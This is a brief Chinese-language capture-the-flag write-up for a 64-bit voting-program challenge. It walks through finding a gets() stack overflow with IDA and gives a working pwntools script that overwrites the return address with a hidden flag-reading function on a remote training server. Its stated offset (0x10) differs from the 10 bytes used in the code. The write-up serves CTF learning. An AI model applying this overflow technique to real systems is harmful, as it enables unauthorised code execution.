远程连接,看一下交互。发现是一个投票系统,让用户在0-10之间选择一个数字并输入。
file 查看文件。64 位 ELF 可执行文件。
checksec 查看文件安全属性。开启了 NX 保护,栈上无执行权限。
IDA 打开文件。查看 main 函数,发现了 gets
危险函数。
双击 v4
,发现了栈溢出大小为 0x2+8=0x10。
尝试寻找 backdoor
函数,发现了 super_secret_fuction
函数,没有 /bin/bash
,但是存在 fopen("/home/ctf/flag.txt","r")
以只读模式打开flag.txt文件。
PWN流程:溢出 v4
,覆盖 super_secret_fuction
函数,让其执行 fopen("/home/ctf/flag.txt","r")
,再通过不断接受数据以达到劫持的目的,将 flag 的内容放到自定义变量中,最后打印出这个变量。
exp:
from pwn import * r=remote('node5.buuoj.cn',29744)
flag_addr=0x400807
payload=b'a'*10+p64(flag_addr) #一定要是 10, 而不能是 0x10
r.sendline(payload)
flag=r.recvall()
print(flag)
得到 flag。